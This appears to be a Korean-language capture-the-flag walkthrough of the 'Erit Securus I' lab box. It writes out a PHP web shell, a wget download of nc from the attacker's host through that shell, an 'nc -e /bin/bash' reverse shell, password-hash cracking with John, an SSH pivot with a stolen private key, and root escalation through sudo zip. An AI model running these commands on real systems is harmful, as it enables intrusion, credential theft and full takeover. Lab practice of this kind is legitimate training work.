[Linux] Erit Securus I (Excellent walkthrough)

CMS epploit 후 서버 콘솔에 들어가서 php 심플 쉘 생성

echo '<?php system($_GET["c"]);?>'>c.php 

Attacking machine(칼리)에서 현재 디렉토리에 nc 가져오기, python 웹 서버 실행

ln -s $(which nc)
python3 -m http.server 8000

 

심플 웹 쉘로 nc다운로드하게 만들기

http://serverip/files/cmd.php?c=wget http://yourip:8000/nc
http://serverip/files/cmd.php?c=chmod 755 nc

 

리버스 쉘 접속

(* 일부 리눅스에 설치된 nc는 위험하기 때문에 -e옵션이 제거 됨, 해당 옵션 안붙이면 무반응)

서버: nc -lnvp 1234
클라: nc -nv -e /bin/bash [ip]

 

SQLlite3 & John

DB파일 정보 확인 => sqlite3 DB
cmd> file bolt.db

내용읽기
cmd> sqlite3 bold.db
cmd> .tables
cmd> select * from bolt_users;
cmd> quit

해쉬 값 복사 후 john
cmd> john hash.txt -w=/tools/rockyou.txt
snickers		(?)

show옵션: 크랙된 hash 값 다시 보기
john hash.txt --show

 

SSH private key : id_rsa

cmd> ls -al /home/wileec/.ssh
id_rsa

위 파일이 private key임

이것은 어느 SSH 서버에 연결되는 KEY일까?
아까 sqlite DB에 존재했던 사설 IP가 존재함, 연결해보기

현재 wileec 계정에 private key가 존재하므로 
ssh wileec@192.168.100.1

만약 나의 칼리에서 접속하고 싶다면
id_rsa를 다운로드 한 후 권한을 600으로 변경,
-i 옵션으로 private key를 추가한다.

ssh wileec wileec@192.168.100.1 -i ./id_rsa

 

권한상승

- GTFobin 활용: zip, sudo 

gtfobins.github.io/gtfobins/zip/

 

sudo -l
(jsmith) NOPASSWD: /usr/bin/zip

jsmith 유저로 비번없이 zip명령어 사용가능함
sudo -u jsmith /usr/bin/zip

cmd> TF=$(mktemp -u)
cmd> sudo -u jsmith /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
cmd> sudo -u jsmith rm $TF

jsmith sudo 권한 체크 
cmd> whoami
jsmith

cmd> sudo -l
(ALL : ALL) NOPASSWD: ALL

root 권한 상승
cmd> sudo -i
root@Securus:~#